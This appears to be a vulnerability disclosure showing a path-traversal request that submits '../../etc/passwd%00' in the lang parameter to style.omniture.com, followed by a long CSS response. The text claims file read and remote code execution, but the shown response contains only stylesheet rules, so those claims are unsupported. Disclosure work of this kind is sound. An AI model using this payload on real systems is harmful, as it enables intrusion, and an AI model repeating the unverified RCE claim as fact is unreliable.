LFI, RCE, Local File Inclusion, Remote Code Execution, Code Execution, /etc/passwd, /proc, style.omniture.com
Vulnerability Impact
Impact can differ based on the exploitation and the read and/or write permission of the web server user. Depending on these factors an attacker may be able to execute LFI {Local File Inclusion} and/or RCE {Remote Code Execution}. In this example, XSS.Cx was able to read and write to the Local File System and perform Remote Code Execition.
Required Skills for Successful Exploitation
Significant attacking skills are required because there is no tool or automated way to exploit this type of vulnerability. The attack consists of three phases. Detecting the vulnerability, then finding malicious code (or if possible create one, by uploading an image, etc.) on the targeted system and finally including that code via the identified vulnerability to run it. Generally the attacker needs to find the physical path of server access logs or needs to upload an image to server or abuse /proc/self/ functionality in Linux systems where possible.
LFI + RCE Proof of Concept {PoC}
Issue detail
The lang parameter was vulnerable to path traversal attacks, enabling read and write access to arbitrary files on the server.
The Expression ../../../../../../../../../../../../../../../../etc/passwd%00en was submitted in the lang parameter. The requested file was returned in the application's response. Manual exploitation resulted in RCE.
Request
GET /stylesheet.css?lang=../../../../../../../../../../../../../../../../etc/passwd%00en§ion=products&ignore_skin=0 HTTP/1.1
Host: style.omniture.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://www.omniture.com/en/products/online-business-optimisation?xss=9%3Cs%3E
Response
HTTP/1.1 200 OK
Server: Omniture AWS/2.0.0
Last-Modified: Fri, 26 Apr 2013 02:35:20 GMT
Vary: Accept-Encoding
xserver: www5.dmz
Content-Type: text/css;charset=utf-8
Content-Length: 45114
Cache-Control: public, max-age=0
Expires: Fri, 26 Apr 2013 02:35:20 GMT
Date: Fri, 26 Apr 2013 02:35:20 GMT
Connection: close
/* Version: 1.0 */
/* files/global/style/general/global.css */
/* files/global/style/sections/products.css */
/* files/../../../../../../../../../../../../../../../../etc/passwd.en/style/general/global.css */
/* files/../../../../../../../../../../../../../../../../etc/passwd.en/style/sections/products.css */
/* /home/httpd/sites/www/htdocs/files/global/style/general/global.css */
/*
* Copyright 2007 Omniture, Orem, Utah, USA
* Author: Chad Sollis & Wade Preston Shearer
* Date: 2007/10/31
* Site: omniture.com
*/
/*------------------- GENERIC TYPOGRAPHY -------------------*/
/* copy */
body, td, th, div, li {font-family: Arial, Helvetica, sans-serif; color: #222222;}
.fineprint { font-size: 10px; font-style: italic; }
* html p { margin: 11px 0 }
*:first-child+html p { margin: 11px 0 }
p.intro { font-size: 13px; line-height: 17px }
p.top, .data p.first { margin-top: 0px }
p.bottom { margin-bottom: 0px }
.error { color: red; font-style: italic }
.notice { font-style: italic }
.ui-helper-hidden {display: none;}
/* links */
a, a:visited, a:link { color: #004477; text-decoration: none; cursor: pointer }
a:hover { text-decoration: underline }
a:active { outline: none }
.learn_more_arrow {background:url("http://assets.omniture.com/en/images/sections/home/transformation/002251.link-carat.004477.3x6.gif") no-repeat right center; padding-right:8px;}
a.small_icon_link { background-position: left center; background-repeat: no-repeat; padding-left: 40px; font-size: 13px; display: block; margin: 10px 0 }
a.small_icon_link.pdf { background-image: url('http://assets.omniture.com/global/images/general/icon_pdf_small.gif') }
a.small_icon_link.flv { background-image: url('http://assets.omniture.com/global/images/general/icon_flv_small.gif') }
a.small_icon_link.wmv { background-image: url('http://assets.omniture.com/global/images/general/icon_wmv_small.gif') }
a.small_icon_link.mp3 { background-image: url('http://assets.omniture.com/global/images/general/icon_mp3_small.gif') }
a.small_icon_link.ppt { background-image: url('http://assets.omniture.com/global/images/general/icon_ppt_small.gif') }
a.small_icon_link.www { background-image: url('http://assets.omniture.com/global/images/general/icon_www_small.gif') }
a.big_icon_link { background-position: left center; background-repeat: no-repeat; font-size: 13px; padding: 20px 0 20px 70px; display: block }
a.big_icon_link.pdf { background-image: url('http://assets.omniture.com/global/images/general/icon_pdf.gif') }
a.big_icon_link.flv { background-image: url('http://assets.omniture.com/global/images/general/icon_flv.gif') }
a.big_icon_link.wmv { background-image: url('http://assets.omniture.com/global/images/general/icon_wmv.gif') }
a.big_icon_link.mp3 { background-image: url('http://assets.omniture.com/global/images/general/icon_mp3.gif') }
a.big_icon_link.ppt { background-image: url('http://assets.omniture.com/global/images/general/icon_ppt.gif') }
a.big_icon_link.www { background-image: url('http://assets.omniture.com/global/images/general/icon_www.gif') }
a.secret_admin_link { display: block; width: 12px; height: 12px; background-position: center; background-repeat: no-repeat; position: absolute; top: 3px; right: 3px }
a.secret_admin_link.edit { background-image: url('http://assets.omniture.com/global/images/general/icon_edit.png') }
a.secret_admin_link.refresh { background-image: url('http://assets.omniture.com/global/images/general/icon_refresh.png') }
/* headers */
h1 { font-size: 18px; color: #000; margin: 20px 0px 15px 0px; line-height: 20px }
h2 { font-size: 14px; color: #454545; margin: 20px 0px 5px 0px; line-height: 16px }
h3 { font-size: 11px; color: #454545; margin: 20px 0px 0px 0px; font-weight: bold }
h4 { font-size: 11px; color: #454545; margin: 5px 0px 0px 0px; font-weight: bold }
h1 span, h2 span, h3 span { font-size: 10px; color: #808080; float: right; font-weight: normal; }
h1 span a, h2 span a, h3 span a { color: #808080; }
h1.top, h2.top, h3.top { margin-top: 0 }
h1.bottom, h2.bottom { margin-bottom: 0 }
h1.breath, h2.breath, h3.breath { margin-bottom: 15px }
h2.rule { border-top: 1px solid #cccccc; padding-top: 10px }
* html h1 { line-height: 21px }
*:first-child+html h1 { line-height: 21px }
* html h2 { line-height: 17px }
*:first-child+html h2 { line-height: 17px }
/*------------------- LISTS -------------------*/
ul, ol { padding: 0px 0px 0px 14px; margin: 10px 0px 15px 0px; font-size: 12px }
ul li ul, ol li ol, ul li ol, ol li ul { margin-top: 10px; font-size: 11px }
ol { margin-left: 4px; }
ul { list-style-image: url('http://assets.omniture.com/global/images/archive/bullet_circle.gif'); }
ul ul { list-style-type: disc; list-style-image: none; }
li { margin: 0px 0px 8px 0px; padding: 0px 7px 0px 6px }
ul li { padding-left: 8px; }
ul.below_header, ol.below_header { margin-top: 14px; }
ul.nostyle { list-style: none; list-style-image: none; margin-left: 0; padding-left: 0px }
ul.nostyle li { list-style: none; list-style-image: none; margin-left: 0; padding-left: 0px }
/* IE 6 sucks */
* html ol { margin: 10px 0px 15px 12px }
* html ul { padding: 0px 0px 0px 18px; margin: 0px 0px 15px 0px }
* html li { padding-left: 6px }
* html ul li { padding-left: 5px }
* html ul.links { margin-left: 17px }
/* IE 7 sucks */
*:first-child+html ol { margin: 10px 0px 15px 12px }
*:first-child+html ul { padding: 0px 0px 0px 18px }
*:first-child+html li { padding-left: 6px }
*:first-child+html ul li { padding-left: 5px }
*:first-child+html ul.links { margin-left: 17px }
.dateLeft { margin-left: 0px; padding-left: 0px; list-style: none; list-style-image: none; }
.dateLeft li span { display: block; position: absolute; top: 0px; left: -55px; width: 55px }
*:first-child+html .dateLeft li span { left: 3px }
.dateLeft li > span { display: block; position: absolute; top: 0px; left: 0px; width: 55px }
.dateLeft li { position: relative; padding-left: 55px; margin: 0px 0px 10px 0px; list-style: none; list-style-image: none; }
*:first-child+html .dateLeft li { padding-left: 55px }
.dl_ready { margin: 0; padding: 0; list-style-type: none; list-style-image: none; }
.dl_ready li { margin: 0px 0 5px 0; padding: 0 }
.dl_ready li a { margin: 0; display: block; background: url('http://assets.omniture.com/global/images/archive/pdf_icon.gif') no-repeat left center; padding: 10px 0px 10px 35px; text-decoration: underline }
/*------------------- GENERIC LAYOUT -------------------*/
hr, div.hr { border-bottom: #cccccc 1px solid; margin: 20px 0 20px 0 }
table, td, tr { margin: 0; padding: 0; border: 0; border-collapse: collapse; vertical-align: top; padding: 0px; margin: 0px; border-spacing: 0; }
img { border: 0 }
blockquote { border-top: 1px solid #cccccc; border-bottom: 1px solid #cccccc; margin: 20px 0; padding: 10px 15px 12px 15px; font-size: 13px; line-height: 19px; color: #454545; background: url('http://assets.omniture.com/global/images/general/blockquote.gif') top left no-repeat }
cite { display: block; font-style: normal; text-align: right; font-size: 10px; text-transform: uppercase; letter-spacing: 1px; margin-top: 7px; line-height: 12px }
cite.title { margin: 3px 0 0 0; text-align: left }
.clear, .clear-me { clear: both; padding: 0px; margin: 0px }
.hideme { display: none; }
.imagelink, a#imagelink { cursor: pointer; background-position: center; background-repeat: no-repeat; display: block; text-indent: -9999999px }
div.cols_2 { width: 50%; float: left }
div.cols_3 { width: 33%; float: left }
table.columns_2 { margin: 0; padding: 0; width: 100% }
table.columns_2 td { width: 240px; padding-top: 10px }
table.columns_2 td.first { padding-right: 30px }
span.delimiter { margin: 0 7px }
div.rule { font-size: 0px; line-height: 0px; height: 0px; border-top: 1px solid #CCCCCC }
a.readmore { display: block; width: 74px; height: 13px; background-position: center; background-repeat: no-repeat; text-indent: -20000px; text-decoration: none; cursor: pointer; margin: 5px 0 4px 0; clear: left; background-image: url('http://assets.omniture.com/global/images/general/readmore_collapsed.gif') }
a.readmore.readmore_expanded { background-image: url('http://assets.omniture.com/global/images/general/readmore_expanded.gif'); }
a.more { display: block; width: 45px; height: 13px; background-position: left center; background-repeat: no-repeat; text-indent: -20000px; text-decoration: none; cursor: pointer; margin: 5px 0 4px 0; clear: left; background-image: url('http://assets.omniture.com/global/images/general/more_collapsed.gif') }
a.more.more_expanded { background-image: url('http://assets.omniture.com/global/images/general/more_expanded.gif'); }
a.toggle { display: block; width: 13px; height: 13px; background-position: center; background-repeat: no-repeat; text-indent: -20000px; text-decoration: none; cursor: pointer; margin-top: 0px; clear: left; background-image: url('http://assets.omniture.com/global/images/general/toggle_collapsed.gif') }
a.toggle.toggle_expanded { background-image: url('http://assets.omniture.com/global/images/general/toggle_expanded.gif'); }
a.details { display: block; width: 60px; height: 13px; background-position: center; background-repeat: no-repeat; text-indent: -20000px; text-decoration: none; cursor: pointer; margin: 5px 0 4px 0; clear: left; background-image: url('http://assets.omniture.com/global/images/general/details_link_collapsed.gif') }
a.details.details_expanded { background-image: url('http://assets.omniture.com/global/images/general/details_link_expanded.gif'); }
.details_box_test strong { font-weight: normal; font-style: italic }
/* buttons */
.button_large { cursor: pointer; background-position: center; background-repeat: no-repeat; display: block; height: 41px; width: 171px; border: none; }
.button_standard { cursor: pointer; background-position: center; background-repeat: no-repeat; display: block; height: 33px; width: 126px; border: none; text-indent: -9999999px; margin-left: -4px }
.btn_submitreferral_en { background-image: url('http://assets.omniture.com/en/images/buttons/btn_submitreferral.en.gif') }
/* pagination */
div.pagination { border-top: 1px solid #cccccc; border-bottom: 1px solid #cccccc; padding: 3px 0; text-align: center; height: 17px; line-height: 17px; margin: 10px 0 5px 0; }
div.pagination a { text-transform: capitalize; }
div.pagination label { display: inline; font-size: 10px; font-weight: normal; text-transform: uppercase; margin-left: 10px; }
div.pagination select { margin-right: 10px; }
div.pagination .next { float: right; }
div.pagination .prev { float: left; }
div.pagination .page { margin: 0 3px; }
/* generic data table */
table.data {font-size: 11px; width: 100%}
table.data_wrapped { border: 1px solid #cccccc; margin-top: 8px }
table.data thead td { background-color: #707070; color: #FFFFFF; font-weight: bold }
table.data th { font-size: 10px; font-weight: normal; text-transform: uppercase; text-align: left; padding: 7px 8px; }
table.data td { padding: 6px 8px 6px 8px; vertical-align: top; }
table.data td.data { padding: 0 }
table.data td.data table td { padding: 6px 8px 10px 8px }
table.data tr.highlight td { background-color: #f5f5f5; }
table.data .title_nolink { color: #454545; }
table.data div.details_text { margin: 10px 0px 0 14px; }
table.data div.details_text p { margin-top: 0; }
table.data a.details_link { display: block; width: 60px; height: 13px; background-position: center; background-repeat: no-repeat; text-indent: -20000px; text-decoration: none; cursor: pointer; margin: 5px 0 4px 0; clear: left; background-image: url('http://assets.omniture.com/global/images/general/details_link_collapsed.gif'); }
table.data a.details_link.details_link_expanded { background-image: url('http://assets.omniture.com/global/images/general/details_link_expanded.gif'); }
table.data .title { width: 360px; display: block; }
table#offer_library.data div.details_text { padding-right: 120px; background-position: top right; background-repeat: no-repeat; }
/* generic form table */
table.form { width: 100%; }
table.form_wrapped { border: 1px solid #cccccc; }
table.form thead td { background-color: #707070; color: #FFFFFF; font-weight: bold; }
table.form th { font-size: 10px; font-weight: normal; text-transform: uppercase; text-align: left; padding: 7px 8px; }
table.form td { padding: 0px 6px 0px 0px; vertical-align: top; }
table.form tr.highlight td { background-color: #f5f5f5; }
table.form .title_nolink { color: #454545; }
table.form div.details_text { margin: 10px 0px 0 14px; }
table.form div.details_text p { margin-top: 0; }
table.form a.details_link { display: block; width: 60px; height: 13px; background-position: center left; background-repeat: no-repeat; text-indent: -20000px; text-decoration: none; cursor: pointer; margin-top: 5px; clear: left; background-image: url('http://assets.omniture.com/global/images/general/details_link_collapsed.gif'); }
table.form a.details_link.details_link_expanded { background-image: url('http://assets.omniture.com/global/images/general/details_link_expanded.gif'); }
/* link box */
.linkbox { padding: 15px 15px; border: 1px solid #cccccc; margin-top: 10px }
.linkbox ul { list-style: none; list-style-image: none; padding: 0; margin: 0 }
.linkbox li { padding: 0; margin-bottom: 5px; list-style: none; list-style-image: none }
.linkbox input { margin: 0 5px 0px 0; }
/* forms */
form { margin: 0 }
div.form_box { background: #eeeeee; padding: 20px; border: 1px solid #707070; margin: 10px 0 }
.buttonbox { text-align: right; padding: 15px 0 0 0; clear: both }
select { height: 17px }
input, select, textarea {font-size: 11px;}
select.multiselect { height: 50px }
.checkbox, .radio { border: none; margin-right: 10px; font-size: 10px; background: none }
input.button { border: none; margin-left: -4px }
input.file { border: none }
label { display: block; margin: 0; font-size: 10px; text-transform: uppercase; }
label.inline { display: inline }
/* magic forms */
.mf_form { margin: 10px 0 15px 0; width: 500px }
.mf_form input, .mf_form select, .mf_form textarea { margin: 0 }
.mf_form input { padding: 2px 2px }
.mf_form textarea { padding: 2px 0px 2px 2px; font-size: 11px; font-family: Arial }
.mf_form input.text, .mf_form textarea.textarea, .mf_form select.select, .mf_form select.multiselect, .mf_form input.password, .mf_form input.file { width: 350px }
.mf_form .checkbox, .mf_form .radio { border: none; margin-right: 10px; font-size: 10px; background: none }
.mf_form .image { border: none; margin: 10px 0 0 -6px }
.mf_form .button, .mf_form .submit { padding: 2px 4px; color: #FFFFFF; background: #707070; margin: 10px 10px 10px 0px }
.mf_formitemmsg { font-style: italic; font-size: 10px }
.mf_formitemcomments textarea { font-style: italic }
.mf_error .mf_formitemmsg, .mf_formitemcomments textarea { color: red }
.mf_success .mf_formitemmsg { color: #70a100 }
div.mf_form div.mf_formitem { margin-bottom: 5px; margin-top: 10px }
table.mf_form td { padding: 5px 10px 5px 0 }
table.mf_form tr.highlight td { background-color: #f5f5f5; }
table.mf_form td.mf_formitemlabel { padding-top: 8px; padding-left: 10px; text-align: right }
table.mf_form td.mf_formitemlabel label { display: inline }
table.mf_form.mf_display td.mf_formitemlabel { padding-top: 6px; width: 100px }
.mf_form .mf_formitemoptions { width: 350px }
.mf_form.mf_collection .mf_formitemoptions ul { list-style: none; list-style-image: none; margin: 0 0 0 12px; padding: 0 }
div.mf_form.mf_collection .mf_formitemoptions ul { margin-top: 6px }
.mf_form.mf_collection .mf_formitemoptions li { text-indent: -20px; margin-bottom: 7px }
.mf_form.mf_collection .mf_error input, .mf_form.mf_collection .mf_error select, .mf_form.mf_collection .mf_error textarea { border-width: 1px; border-color: red; background-color: #ffeeee }
.mf_form.mf_collection .mf_success input, .mf_form.mf_collection .mf_success select, .mf_form.mf_collection .mf_success textarea { border-width: 1px; border-color: #70a100; background-color: #f2f3f0 }
.mf_form.mf_collection .mf_error label { color: red }
.mf_form.mf_collection .mf_success label { color: #70a100 }
div.mf_form.mf_display label { font-weight: bold }
/*------------------- SPECIFIC COMPONENTS -------------------*/
body { padding: 0; margin: 0; background: #e5e5e5; text-align: center; }
body.no_skin { background: #ffffff; background-image: none; text-align: left; }
#wrapper { width: 988px; margin: 0 auto; text-align: left; background-color: #e5e5e5; padding: 0 0 20px 0;}
#header { position: relative; height: 62px; margin: 18px 0 0 0; padding: 0; z-index: 9 }
#header a {outline: 0;}
#header a#logo {background: url(http://assets.omniture.com/en/images/skins/default/transformation/002251.global.logo.oms-mark.152x63.png) top left no-repeat; display: block; float: left; height: 63px; left: 14px; position: relative; top: -18px; width: 152px;}
#header div#sitesearch { margin: 10px 14px 0 0; padding: 0; float: right; position: relative; width: 180px }
#header div#sitesearch input {float: right;}
#header div#sitesearch input.text {height: 16px; margin: 0 8px 0 0; width: 135px;}
#header div#sitesearch input.button {border: 1px solid #666666;}
body#investor_relations #login, #login_nolanguage { margin: 0; background: url('http://assets.omniture.com/en/images/skins/default/transformation/002251.homepage.sloganbar-nolanguage.en.988x28.png') top center no-repeat;}
#login { margin: 0; background: url('http://assets.omniture.com/en/images/skins/default/transformation/002251.homepage.sloganbar.en.988x28.png') top center no-repeat; height: 28px; text-align: left; padding: 0px 4px; z-index: 4; position: relative }
#login a#slogan { display: block; float: left; height: 26px; margin-top: 0px; text-indent: -20000px; width: 500px;}
#login a#logininto { display: block; width: 130px; height: 26px; float: right; color: #FFFFFF; text-indent: -9999999px; margin-top: 3px; cursor: pointer }
#login a#international { display: block; width: 102px; height: 26px; float: right; color: #FFFFFF; text-indent: -20000px; margin: 3px 15px 0 0; cursor: pointer }
#container { margin: 0; padding: 0 4px 25px 4px; background: url(http://assets.omniture.com/en/images/skins/default/transformation/002251.global.background.container-middle.988x1.png) top center repeat-y; min-height: 370px }
#middle { padding: 10px 10px 20px 10px; text-align: left }
#col_right, #nopad_container { float: right; width: 750px; padding: 18px 0 0 0; margin: 0; }
#col_left, #buid_left { float: left; width: 200px; }
#container_bottom {background: url(http://assets.omniture.com/en/images/skins/default/transformation/002251.global.background.container-bottom.988x6.png) top center no-repeat; font-size: 1px; height: 6px; line-height: 1px;}
#bottom { position: relative; clear: both; padding: 0px; margin: 0px; }
#footer { margin-top: 0px; font-size: 10px; padding: 10px 14px; position: relative; }
#footer a { text-decoration: underline; color: #707070; }
#copyright {font-size: 10px; margin: 0 0 0 -10px; padding-left: 12px;}
#tags, #hidden_tags { position: relative; display: none; height: 0; width: 0; visibility: hidden; }
/* search box */
#autocomplete, #autocomplete2 { z-index: 9000; position: absolute; top: 25px; right: 0px; width: 165px; text-align: left }
#autocomplete .yui-ac-content, , #autocomplete2 .yui-ac-content { position: absolute; width: 100%; border: none; background: #ffffff; overflow: hidden; z-index: 9050; padding: 0; list-style-image: none; list-style-type: none; }
#autocomplete ul, #autocomplete2 ul { padding: 0; margin: 0; width: 163px; background: #ffffff; border: 1px solid #dddddd; list-style-type: none; list-style-image: none; }
#autocomplete li, #autocomplete2 li { margin: 0; cursor: default; white-space: nowrap; background: #ffffff; padding: 5px 8px 5px 8px; color: #707070 }
#autocomplete li.yui-ac-highlight, #autocomplete2 li.yui-ac-highlight { background: #70a100; color: #ffffff }
#autocomplete li.yui-ac-prehighlight, #autocomplete2 li.yui-ac-prehighlight { background: #a5a5a5; color: #ffffff }
#col_right #autocomplete2 { left: 0px; top: 65px; width: 302px }
#col_right #autocomplete2 ul { width: 300px }
/* language menu */
#login div#internationalmenu { background: url('http://assets.omniture.com/global/images/general/000000_at_90.png') top left repeat; width: 125px; position: absolute; top: 28px; right: 140px; border: 0px solid #dddddd }
*:first-child+html #login div#internationalmenu { background-color: #000000; filter:alpha(opacity=90); opacity:.7; }
* html #login div#internationalmenu { background-color: #000000; filter:alpha(opacity=90); opacity:.7; }
#login div#internationalmenu ul { list-style: none; list-style-image: none; padding: 0px; margin: 15px; float: left }
* html #login div#internationalmenu ul { margin-right: 10px }
#login div#internationalmenu li { padding: 0px 0 0 15px; margin-left: 10px }
#login div#internationalmenu li.selected { background: url('http://assets.omniture.com/global/images/general/checkmark_on_blackmatte.gif') left center no-repeat }
#login div#internationalmenu a { color: #ffffff }
#login div#internationalmenu div { float: left; color: #ffffff; width: 205px; margin: 15px 15px 15px 25px; display: none }
#login div#internationalmenu h2 { color: #ffffff; margin-top: 5px }
#login div#internationalmenu.welcome {width: 370px}
#login div#internationalmenu.welcome div {display: block}
/* feature */
#col_right div.feature, #nopad_container .nopad_feature { white-space: nowrap; margin: 3px 0 20px 0; padding: 0px; clear: both; }
/* copy */
#col_right div.copy, #nopad_container .nopad_copy { width: 540px; margin: 0; float: left }
body#search #col_right div.copy { position: relative }
#col_right div.copy {color: #222; font-size: 13px; line-height: 18px;}
#col_right div.copy h1 {color: #000; font-size: 18px; line-height: 24px;}
#col_right div.copy h4 {color: #333; font-size: 13px; line-height: 18px; margin: 0;}
#col_right div.copy p {margin: 0 0 22px 0;}
/* sidebar */
#col_right div.sidebar { float: right; width: 188px; }
#col_right div.sidebar .first, #col_right div.sidebar .second { border: 1px solid #cccccc; padding: 0 0 10px 0; margin: 0 0 20px 0px }
#col_right div.sidebar .first {background: #fff;}
#col_right div.sidebar div.sidebar_block {background: top left no-repeat; padding: 10px 10px 4px 30px;}
#col_right div.sidebar div.sidebar_block a { color: #004477; line-height: 16px; }
#col_right div.sidebar div.sidebar_block h4 { font-size: 13px; color: #454545; font-weight: normal; margin: 0 0 7px 0; padding: 0 }
#col_right div.sidebar div.sidebar_block ul { list-style: none; margin: 0; padding: 0 }
#col_right div.sidebar div.sidebar_block li {list-style: none; list-style-image: none; margin: 0 0 6px 0; padding: 0}
#col_right div.sidebar div.sidebar_block.bestpracticeguides { background-image: url('http://assets.omniture.com/en/images/skins/default/transformation/sidebar_icon_bestpracticeguides.png'); }
#col_right div.sidebar div.sidebar_block.datasheets { background-image: url('http://assets.omniture.com/en/images/skins/default/transformation/sidebar_icon_datasheets.png'); }
#col_right div.sidebar div.sidebar_block.requestlivedemo { background-image: url('http://assets.omniture.com/en/images/skins/default/transformation/sidebar_icon_requestlivedemo.png'); }
#col_right div.sidebar div.sidebar_block.viewwebinar { background-image: url('http://assets.omniture.com/en/images/skins/default/transformation/sidebar_icon_viewwebinar.png'); }
#col_right div.sidebar div.sidebar_block.casestudies { background-image: url('http://assets.omniture.com/en/images/skins/default/transformation/sidebar_icon_casestudies.png'); }
#col_right div.sidebar div.sidebar_block.links { background-image: url('http://assets.omniture.com/en/images/skins/default/transformation/sidebar_icon_links.png'); }
#col_right div.sidebar div.sidebar_block.quotes { background-image: url('http://assets.omniture.com/en/images/skins/default/transformation/sidebar_icon_quotes.png'); }
#col_right div.sidebar div.sidebar_block.login { background-image: url('http://assets.omniture.com/en/images/skins/default/transformation/sidebar_icon_login.png'); }
#col_right div.sidebar div.sidebar_block.producttour { background-color: #e5e5e5; background-image: url('http://assets.omniture.com/en/images/skins/default/transformation/sidebar_icon_producttour.png'); margin-top: 6px; padding-bottom: 8px }
#col_right div.sidebar div.sidebar_block.producttour a {font-size: 11px; line-height: 18px;}
#col_right div.sidebar div.sidebar_block.producttour h4 {color: #212121}
#col_right div.sidebar div.sidebar_block.producttour #launch_producttour {margin-left: -5px; display: block; width: 155px; height: 116px; text-indent: -9999999px; background: url('http://assets.omniture.com/en/images/skins/default/transformation/002251.producttour_icon_final_155x116_en.jpg') center no-repeat;}
#col_right div.sidebar div.sidebar_block .phone { font-weight: 100; font-size: 18px; margin: 10px 0 10px 0; letter-spacing: .5px; line-height: 18px }
#col_right div.sidebar div.sidebar_block blockquote { background: none; font-size: 11px; border: none; margin: 10px 0 20px 0; padding: 0; line-height: 16px; text-indent: -4px }
/* site map */
#site_map_table ul { margin: 0 0 5px 0; padding: 0; list-style: none; list-style-image: none }
#site_map_table li { margin: 0; padding: 0 0 0 0 }
#site_map_table ul ul { margin-left: 10px; }
#site_map_table h2 a { color: #707070; }
/* omni access */
.omni_access { margin: 15px 0px; padding: 45px 10px 10px 10px; background: #eeeeee url('http://www.omniture.comhttp://assets.omniture.com/global/images/archive/omni_access.gif') no-repeat 10px 10px; border: 1px solid #707070; width: 80%; }
.omni_access #oa_forgot { display: none; }
.omni_access #oa_login { display: block; }
.form_right .omni_access form { padding: 0px; margin: 0px; }
.form_right .omni_access { padding: 35px 10px 10px 10px; margin: -10px -10px 0px -10px; background: #70a100 url(http://www.omniture.comhttp://assets.omniture.com/global/images/archive/omni_access_grn.gif) no-repeat 10px 0px; color: #ffffff; width: 100%;border: none 0px;}
.form_right .omni_access label { color: #ffffff;}
.form_right .omni_access label a { color: #ffffff;}
.normal_form { position: relative; }
.normal_form.disappearing input,.normal_form.disappearing select { color:#333333; }
.normal_form #oa_learn_more { position: absolute; top: -100px; left: -255px; width: 280px; background: #ffffff; border: 1px solid #70a100; font-size: 12px; padding: 10px; }
/* breadcrumbs */
ul.breadcrumbs { margin: 20px 0 0 1px; padding: 0 }
ul.breadcrumbs li { display: inline; margin: 0; padding: 0 13px 0 13px; background: url('http://assets.omniture.com/global/images/general/delimiter_carrot.gif') left center no-repeat }
ul.breadcrumbs li.first { padding-left: 0px; background: none }
/* tabs */
ul.tabs { margin: 0 0 25px 0; padding: 0; list-style: none }
ul.tabs li { display: inline; margin: 0; padding: 0 }
ul.tabs li a { margin: 0; padding: 5px 10px }
ul.tabs li.on a { border: 1px solid #707070; color: #707070 }
ul.tabs li.on a:hover { text-decoration: none; cursor: default }
/* toolbar */
ul.toolbar { margin: 0 0 15px 0; padding: 0; list-style: none }
ul.toolbar li { display: inline; margin: 0; padding: 0 }
ul.toolbar li a { margin: 0; padding: 5px 15px 5px 15px; background-position: left center; background-repeat: no-repeat }
ul.toolbar li a.reply { background-image: url('http://assets.omniture.com/images/icon_reply.png'); padding-left: 18px }
ul.toolbar li a.delete { background-image: url('http://assets.omniture.com/images/icon_x.png') }
ul.toolbar li a.inbox { background-image: url('http://assets.omniture.com/images/icon_mailbox.png'); padding-left: 18px }
/*------------------- NAVIGATION -------------------*/
/* top navigation */
#nav_L1, #nav_L1 ul { float: left; width: 150px; list-style: none; line-height: 1; border-right: 1px solid #b0b0b0; border-left: 1px solid #b0b0b0; border-top: 1px solid #b0b0b0; background: #ececec; margin: 0; padding: 0; }
#nav_L1 { position: absolute; left: 215px; top: 8px; width: auto; border: none; background: none; }
#nav_L1 a {border-bottom: 1px solid #b0b0b0; color: #333; display: block; text-decoration: none; padding: 5px 8px 5px 8px;}
#nav_L1 a.main {border: none; color: #222; font-size: 14px; text-transform: capitalize;}
#nav_L1 a.daddy {background: url("http://assets.omniture.com/en/images/sections/home/transformation/002251.link-carat.004477.3x6.gif") no-repeat scroll 142px center transparent;}
#nav_L1 li { float: left; padding: 0; margin: 0px }
#nav_L1 li ul { position: absolute; /*left: -999em;*/ height: auto; }
#nav_L1 li li { width: 150px; position: relative; }
#nav_L1 li ul ul { top: -1px; margin-left: 150px; }
/*#nav_L1 li:hover ul ul, #nav_L1 li:hover ul ul ul, #nav_L1 li:hover ul ul ul ul, #nav_L1 li.sfhover ul ul, #nav_L1 li.sfhover ul ul ul, #nav_L1 li.sfhover ul ul ul ul { left: -999em; }*/
#nav_L1 li:hover ul, #nav_L1 li li:hover ul, #nav_L1 li li li:hover ul, #nav_L1 li li li li:hover ul, #nav_L1 li.sfhover ul, #nav_L1 li li.sfhover ul, #nav_L1 li li li.sfhover ul, #nav_L1 li li li li.sfhover ul { left: auto; }
#nav_L1 li:hover, #nav_L1 li.sfhover { background: none; }
#nav_L1 li li:hover, #nav_L1 li li.sfhover { background: #bdbdbd; }
#nav_L1 a:hover { color: #ffffff; }
#nav_L1 a.main:hover { color: #447099; }
/* left navigation */
#leftNav { width: 190px; margin: 0px 10px 20px 00px; padding: 0 }
#leftNav .section_name, #leftNav h3 { display: block; font-size: 14px; font-weight: bold; margin: 0 0 5px 0; padding: 0 }
#leftNav ul {background-color: #eee; border: 1px solid #c8c8c8; list-style: none; list-style-image: none; margin: 0 0 0 0; padding: 13px 11px;}
#leftNav ul ul {border: none; padding: 0;}
#leftNav li {list-style: none; line-height: 18px; padding: 0;}
#leftNav li a {font-weight: bold; color: #004477; text-decoration: none }
#leftNav li ul li a { font-weight: normal; }
#leftNav li ul li { margin: 2px 0px 2px 10px; }
#leftNav li a:hover {color: #004477; text-decoration: underline;}
#leftNav a.selected {color: #222; font-weight: bold; text-decoration:none;}
#leftNav a.selected:hover {cursor: default; text-decoration: none;}
/*#leftNav li.selected ul li a { background: none; color: #505050; text-decoration:none; }*/
#leftNav div.top { border: 1px solid #cccccc; border-bottom: none; display: none/*df*/; margin: 0px; height: 8px; }
#leftNav > div.top { margin: 0px; }
#leftNav div.bottom { border: 1px solid #cccccc; border-top: none; display: none/*df*/; margin: 0px; height: 10px; }
div.footer-contact {color: #707070; font: 20px/20px Arial, Helvetica, sans-serif; height: 57px; padding: 12px 0 0 0; position: absolute; right: 4px; top: 0px; width: 140px;}
/* /home/httpd/sites/www/htdocs/files/global/style/sections/products.css */
/*
* Copyright 2007 Omniture, Orem, Utah, USA
* Author: Chad Sollis & Wade Preston Shearer
* Date: 2007/10/02
* Site: omniture.com
*/
#product_map { margin: 10px; width: 170px; }
#product_map img { margin: 5px 0px; }
#product_map ul { margin-left: 0; padding-left: 0 }
#product_map li { background: #ffffff url('http://assets.omniture.com/global/images/archive/cool_grey_arrow.gif') no-repeat left center; padding-left: 20px; width: 170px; margin: -3px 0px; list-style: none }
#product_map ul > li { margin: 0px; }
#product_map li span { display: block; background: #707070; color: #ffffff; padding: 3px 5px; width: 150px; cursor: pointer; }
#product_map li a:hover span { text-decoration: none; background: #999999; }
#product_cross_link li { list-style: none; background: #ffffff url('http://assets.omniture.com/global/images/archive/cool_green_arrow.gif') no-repeat left center; padding: 3px 0px 3px 20px; }
#product_cross_link a { text-decoration: underline; }
#obop_ex { display: none; border: 1px solid #70a100; padding: 10px; }
#obop_ex table th { background: #707070; color: #ffffff; }
